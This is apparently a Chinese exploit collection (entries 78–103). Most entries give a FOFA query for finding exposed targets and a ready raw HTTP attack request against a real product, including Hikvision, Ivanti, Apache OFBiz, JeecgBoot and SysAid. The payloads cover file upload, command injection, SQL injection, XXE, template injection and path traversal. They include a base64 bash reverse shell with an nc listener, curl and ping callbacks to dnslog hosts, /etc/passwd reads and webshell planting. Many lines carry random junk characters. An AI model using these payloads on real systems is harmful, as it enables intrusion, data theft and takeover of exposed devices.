# R: I) y* L, }# x$ i4 l# l& @hello1234567
3 ~0 K6 `4 h! n------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"
* q9 K6 g( I0 Y3 @" a
8 A1 u  C! O. [" h  sSubmit Query
8 ^- V: Y0 U4 Q: k------------398jnjVTTlDVXHlE7yYnfwBoix--


* ]2 T0 c7 @# M5 a" S78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
; `% @$ O1 c7 Z) F( o& L* TFOFA：icon_hash="2001627082"
4 M0 k, q0 [8 O/ f5 s& g" TPOST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
; D. f2 s% k) s6 D6 K! aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
* @5 j8 z. `) i/ f  S( vContent-Length: 336
+ J. V$ p. b. {; k* jAccept-Encoding: gzip
" `/ z& P% k9 h* Z+ h0 ]% z" yContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
' }1 R2 R' q$ S
7 J+ p6 k9 |' Q3 _------YsOxWxSvj1KyZow1PTsh98fdu6l
: V8 H5 i8 Y$ m2 ]' E' D( EContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
3 l! G7 G$ B4 L, E' S+ N, CContent-Type: image/png

YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"
. W1 E# t" e4 F% H6 y# e
/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--
  B  i4 q5 O8 W; n) ~& k$ ^
0 \. x. V3 q( C6 i( w: N" K
; r2 m) v- D! m: O$ UGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
5 b# c/ }  u6 D) [Host: x.x.x.x
/ C, T9 e7 q: T1 X- A; B' t, s6 B. |
5 r: {% b8 z; ^8 r
79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
! |! n% k7 o  Y  N0 Q, ]GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! c0 M, e1 q6 M* @/ \Accept-Encoding: gzip, deflate
Connection: close
" P( B% A3 D1 r+ `Upgrade-Insecure-Requests: 1


80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 B. @. G4 n8 y, Z# rContent-Length: 27
$ G. n. {3 T, j4 dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 q2 [- s! D6 p. ~5 b9 c' v7 I! WAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! b0 u" [# \* h) I7 eConnection: close
2 m; W! Q6 R% f) a; \Content-Type: application/octet-stream
8 A& h" Y/ E/ \6 k9 O" C) [Upgrade-Insecure-Requests: 1
$ k- g  D( b7 h; Y
' h' q& @$ a1 O, X- D0 J) k* n' N3 V0 O<% out.print("oessqeonylzaf");%>


GET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
$ R2 f7 Q5 B( G: S6 v
5 k1 A% ?+ g+ z! y6 l0 E( @! g( D
& X$ Q7 W7 b6 ]3 B81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
, m( ?1 Z& R) Q4 A* b* RFOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
9 W+ ]/ W3 E6 Y# X) [4 lConnection: close
Accept-Encoding: gzip
" K( f. P  M1 {8 G/ m. X
3 e6 |+ c4 D. E, `! C- O0 C$ e& O3 ~
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
& J# \3 [# o6 g0 q6 ?3 o/ KFOFA：app="思福迪-LOGBASE"
. J; Z& o# |  W: _  U: ^POST /bhost/test_qrcode_b HTTP/1.1
, j2 v, A# m3 YHost: BaseURL
User-Agent: Go-http-client/1.1
; M1 \, R9 U- K) q. OContent-Length: 23
( M3 \: |7 T5 t$ TAccept-Encoding: gzip
Connection: close
2 [- P- x% z/ [3 w6 CContent-Type: application/x-www-form-urlencoded
" d2 u' t* x2 bReferer: BaseURL

z1=1&z2="|id;"&z3=bhost
* F  A6 o  j0 N# _: `2 J
; B6 W% R) y/ I/ D3 d! e% h+ R
: x" ?9 a% D" B9 n9 q3 ?+ b7 m, z83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"
" s) [9 a( E# h6 z

! q( B0 O; c( DPOST /jmreport/testConnection HTTP/1.1
1 u5 Q) n/ h7 J4 p5 THost: x.x.x.x
4 ~3 o8 J  Z' z# t- mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
% n2 c, m/ A3 F  zContent-Length: 8881
9 v; h, H" n2 X" w% ]Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
$ Y- K& w  d6 W7 l7 l: r4 n: ?Content-Type: application/json

/ }2 n$ Z; I' b! A; m$ J1 xPAYLOAD
8 k$ j/ p5 I# w: l
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
" o& w6 S+ {1 h" [: a# IFOFA：title=="JeecgBoot 企业级低代码平台"

* h& {" L% W' V* D% x- D

2 k; C2 T% W- r0 L* @1 f; RPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
& K# H( c/ Z: Z4 k* Y2 H) ^User-Agent: curl/7.88.1
Content-Length: 156
Accept: */*
* J& v' B$ w7 K! r8 }# Y2 ~Connection: close
Content-Type: application/json
. H3 l1 a* A7 r+ z, a8 A/ k! q" WAccept-Encoding: gzip

{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
# p' u+ H1 S9 {0 _) n. H  q& R; S  X  "type": "0"
, ?5 R8 y% R- s, T# \4 [}

1 |& z1 d- k, L. B# I
85. SysAid On-premise< 23.3.36远程代码执行
- p( f, c( N$ R4 P8 qCVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
* A* k1 T5 o/ h! X" o* NEXP数据包如下，注入哥斯拉马
0 N# V: a* O  j$ q1 I& sPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
: [. m/ W( X8 s- \) ~: SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 o8 S* A4 c; d2 N5 n9 B. EContent-Type: application/octet-stream
0 i% N( R. b& L" P8 F' ^* YAccept-Encoding: gzip

PAYLOAD

回显URL：http://x.x.x.x/userfiles/index.jsp
1 N7 V6 D  z/ F
+ d" s. I9 h  d5 d86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
& Y( U+ A9 K$ }- NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
& v( `: R- v/ kConnection: close
Content-Length: 44
( X" h7 |( m* @! B( V: M4 }+ o, dAccept: */*
5 ~2 w7 m# a) v: i% R2 l. OAccept-Encoding: gzip
6 [7 ], v# |! MAccept-Language: en
1 x& K# G1 _% d4 tContent-Type: application/x-www-form-urlencoded
7 E( e! x! u4 l' C
; B: v( K3 c, }2 vhost=%0acat${IFS}/etc/passwd%0a&command=ping
  w* v) D! u8 D$ [0 v: g
! x) Z) v: g  S; _* @
9 N+ O5 |" d, X2 X87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
$ K6 [+ l: j* [5 r' BHost: X.X.X.X
8 e' I+ J7 U0 q2 U3 x# CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 198
Accept-Encoding: gzip
1 ]$ x4 Z4 G/ ~1 M, R$ h, R& K8 lContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

7 t7 S  e4 p. \# \) S5 i--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
9 [: K2 y7 x4 ~( N: {* iContent-Type: text/plain
7 K  S2 a& z- D9 m
; A" q3 ]  y7 e2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--


! J) n2 N% {# m! L" a/jfhatuwe.php
9 O. s; f( D) [8 t7 o
2 f7 L/ k1 ]. K  ?9 O7 N88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
8 u9 v. _+ t& ^( p2 s% {. VAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
7 w( d6 n) U$ Y- a: {
7 V7 e" O" f# L5 E: _! {
/astdfkhl.php
5 \) T+ n. p3 B% ~0 J4 {, L
89. 致远互联FE协作办公平台editflow_manager存在sql注入
. l+ `+ q* ^5 [( x2 Y  m% {FOFA：title="FE协作办公平台" || body="li_plugins_download"
3 O) s- C+ M- s; @' BPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
8 @$ X  C- G; L' c, i+ U  ]* VHost: x.x.x.x
7 p% V( `4 e& T' s8 xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
* u2 S8 B  m* |- r& qContent-Length: 41
. ~5 e  b/ t, v* d% P2 K% x: G# m9 yContent-Type: application/x-www-form-urlencoded
8 o/ G2 o, N, B3 z" X$ F$ `. z& V+ m  zAccept-Encoding: gzip
0 [* Z/ o: E, E4 z9 E, u
option=2&GUID=-1'+union+select+111*222--+


90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
- J0 C6 P7 }; C7 f. x, wAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
2 e5 f+ b) u7 {$ [Content-Type: application/x-www-form-urlencoded
9 X" M" Q7 f/ N+ G6 EX-Requested-With: XMLHttpRequest
6 J3 A. d+ `/ Y+ A
jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig

, |. q% P9 b) s, n/ ]& ^1 d
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
! ~; z- e- P$ A4 B, E- ^8 MFOFA：title="综合安防管理平台"
/ R3 ^$ [, P, w3 XGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
' o  N8 P1 w/ G2 w" CHost: your-ip
' s6 v+ d. C1 e1 Y4 J' D# }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

% _' N- b; R* J

92. 海康威视运行管理中心session命令执行
Fastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
0 f. v) {1 x7 S, BPOST /center/api/session HTTP/1.1
Host:
Accept: application/json, text/plain, */*
; y4 M4 D" ]0 r5 e4 _% d5 R# zAccept-Encoding: gzip, deflate
* o1 i9 ]; |# X( @; zX-Requested-With: XMLHttpRequest
8 c: M  G. H9 s6 n) N! @; {Content-Type: application/json;charset=UTF-8
) Q1 K! @. ^) L7 HX-Language-Type: zh_CN
2 p  {; u' s) r; R: G% rTestcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
' Y) z, z  e+ I
PAYLOAD
* C5 X, Y1 M% ]$ ~7 L9 S) s" [
; T& f2 P$ Q) @" z% j# F; t
* I, K- k3 k+ a, z% `93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
8 V1 j4 a% J6 w2 W; MContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
9 U6 h: Y: A( z" h1 k
8 f: a9 h" p+ P8 W3 @7 M: d  [" ~------WebKitFormBoundarykcbkgdfx
/ `# b0 j3 X, \. M* W" VContent-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain

wagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
( c; e% n  [: L! V, @( rContent-Disposition: form-data; name="submit_post"
# m6 v3 Q! d: c: P+ O
obj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
/ F# ?* A2 d3 a" _, |$ f1 n; u5 ]
0b9d6b1ab7479ab69d9f71b05e0e9445
& o, N- G& U7 w# o------WebKitFormBoundarykcbkgdfx--

1 ~7 k$ {# o: Z- S! ]) f
2 \) z* x& p9 MGET /attachements/xlskxknxa.txt HTTP/1.1
2 P5 U; e& b  rHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

/ k0 ^1 `' r% P2 W3 V. y
$ I( k7 M8 O. D/ R; ~94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
% Y2 _! n$ T  A' W& fFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
( M6 r2 _, G1 X8 v' u" DPOST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
4 G$ h! w8 u1 KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
9 x9 m5 }) L/ ~: U, PContent-Disposition: form-data; name="MAX_FILE_SIZE"
( y, m3 v3 A2 v8 x
2 B. O. n; w0 a1 k0 e. B10000000
4 [; Z  b* g7 U* U! }& X8 c6 ?1 M0 Q------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
: O# i3 F0 T$ \5 p------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--

# c9 f4 k6 u: `( h# i1 P* o3 i
/ M4 M' @4 ]6 g1 N6 F
+ F3 R& e: _7 s* HGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
; h; x+ `$ j; I2 L  N" o* x
' X, U2 H6 X' Z/ i) D

. c- K7 q/ D4 q: o0 W1 o0 c) v; @& q95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
8 q& O- k; \) ^- Z% D; R; oCVE-2023-49070
FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
' l. c/ m+ i* V- zHost: x.x.x.x
; ?8 b* e" D! e' j4 fUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
Content-Type: application/xml
* h% j: ^, k6 r- OAccept-Encoding: gzip

<?xml version="1.0"?>
  n# D( M2 R1 A0 @<methodCall>
2 k9 J1 q: O: i/ R3 Z   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
( D9 X" k7 T1 L8 r6 P    <params>
3 W1 c* L/ R$ U/ Z$ z      <param>
      <value>
/ h8 F# n7 Z0 g        <struct>
       <member>
! T/ q' S5 C8 u$ K. h& J' I2 u          <name>test</name>
          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
1 f! A% N" |8 S0 ~2 ?  N        </member>
      </struct>
      </value>
2 c$ F6 d0 ^: e; a    </param>
! ~4 G7 Q- C0 n" `) N5 \    </params>
/ \: {( r# M7 X</methodCall>
" O( O) U* C$ @2 x
4 a( C) B! F5 F0 M
: u9 T4 _- d3 m# T/ s0 p1 h用ysoserial生成payload
2 m, ]0 H* s/ Q" k! F. E; z" R+ ?java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
. e0 \: U0 f, f. R1 H  @
9 E; a- c  |8 i6 I( U) q
1 p0 g. T2 L# P$ u将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
) M, o, P  x, ^& E% F  D$ d$ ]Host: 192.168.40.130:8443
) n2 q+ B! m( WUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
! _/ S, f) L+ M) x5 D! _. E: @Connection: close
& M* G! n0 X$ N3 o: z# P$ ^Content-Length: 889
Content-Type: application/xml
: a$ U; @; [; o. W- M' `" g- LAccept-Encoding: gzip
% o$ Y3 |" H6 z; A# [% m
: U3 m) W7 S9 wPAYLOAD

! h( I3 J+ J4 \96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
9 I/ W( \- |, U2 L+ xPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
! r2 D, E! j/ o; J" uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

" B3 J0 ~/ n4 W4 E; CgroovyProgram=throw+new+Exception('id'.execute().text);
+ N2 a7 O6 b3 o# o8 _. I( {7 h5 a5 Q# }

反弹shell
8 S* z. {7 g# o6 x- r& z在kali上启动一个监听
nc -lvp 7777

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 j5 l( x: M7 ]; q) s5 ?Content-Type: application/x-www-form-urlencoded
Content-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
" M3 [, x& q/ ^: l9 w9 R0 I1 }+ }. DGET /passport/login/ HTTP/1.1
! i6 l" o. q% [- THost: 192.168.40.130:8085
) s7 }! `( o7 k0 {8 q: y; MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
# u' R6 v7 G) U  uCookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
* ^. i7 {, C3 O

. m: z. l4 R  `- B3 s6 b3 z98. SpiderFlow爬虫平台远程命令执行
5 y# J( f+ H9 D$ d; ^5 ^$ }3 l4 [% @CVE-2024-0195
FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
2 r. c5 y  a9 f: Y! o$ vConnection: close
Content-Length: 121
' \' k. p! {; f" VAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& H& Y1 h7 }0 `  i9 B( t' bContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
$ Q- b# J( v/ r5 u$ T- h
8 u1 \4 r$ Q9 ~6 Xid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B

  j: M6 P/ [7 f  u, ?, L3 K$ w* ]; L& y
99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
7 B4 H+ O+ G' B6 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
4 V: z9 x2 P1 r9 z4 a4 kConnection: close
Content-Length: 154
" M7 c6 M& f# J1 TAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 @0 R2 ^1 x' u+ _& AContent-Type: application/x-www-form-urlencoded; charset=UTF-8
  h# g* c, v) }& D4 k) W  MX-Requested-With: XMLHttpRequest
) b. j1 C5 o' Z1 W3 u! B; H
; i$ q! Z1 Q0 o; R, l%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
8 ]1 _; H6 L+ V5 \: A% c, R) e
7 ]; h/ |. A# L9 p9 L
. x3 J/ N7 q9 f100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
FOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
3 @  D7 U- j" a0 f6 GHost: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
7 i0 c$ z7 B+ A8 W9 MContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip

- Q" f& S7 E/ u# p1 E  O------WebKitFormBoundarygcflwtei
7 Q9 Z6 E* g7 m0 k# {Content-Disposition: form-data; name="file";filename="IE4MGP.php"
3 E4 k" ?  }* D4 s$ r! |$ S7 LContent-Type: application/x-php
/ C9 m+ f( Q. @, ?# {( N
. n* z- q) U' |  ]2ayyhRXiAsKXL8olvF5s4qqyI2O
  ?, m0 E0 C: D( n! k8 _! E8 z- X------WebKitFormBoundarygcflwtei--

6 @6 J2 ?" s$ d8 r. x2 S! K- ~; P# O5 w: w
101. ivanti policy secure-22.6命令注入
. P6 ?4 X* L% y$ E& ]9 ~& ECVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
# C) [4 N; T( @8 UGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
5 J) d9 t( v8 z4 j% w+ vUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
& k4 ^0 m3 b. m) ?Connection: close
% O1 p  q* `9 R: uAccept-Encoding: gzip


102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
  p. ]2 x! l) G9 vCVE-2024-21893
- {' r+ p: v% J0 M" D1 SFOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
/ A2 t. X- `2 l! |Host: x.x.x.x
1 Q2 v" b+ L3 |) H3 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
0 Z$ m+ b& B9 Q: e- m: uConnection: close
/ c$ `" o6 l  ?! @- N1 w& J, l2 p1 MContent-Length: 792
Accept-Encoding: gzip

<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

103. Ivanti Pulse Connect Secure VPN XXE
) ]5 o% w# `1 l  \  T6 LCVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
) r$ J4 T4 l; l* ~4 D1 j$ T4 XPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
. f4 o! N/ F0 sHost: 192.168.40.130:111
7 u6 W/ Y: q1 u$ RUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
  v& E2 e( C9 X2 g& K. DContent-Type: application/x-www-form-urlencoded
; D  T9 m7 E* k1 I- P# RAccept-Encoding: gzip

  y: u& `# c' R8 _+ r; n  {SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
; w& m& I' C7 ~( g7 N+ G

! ?9 \/ U3 g2 d1 [9 t! m其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
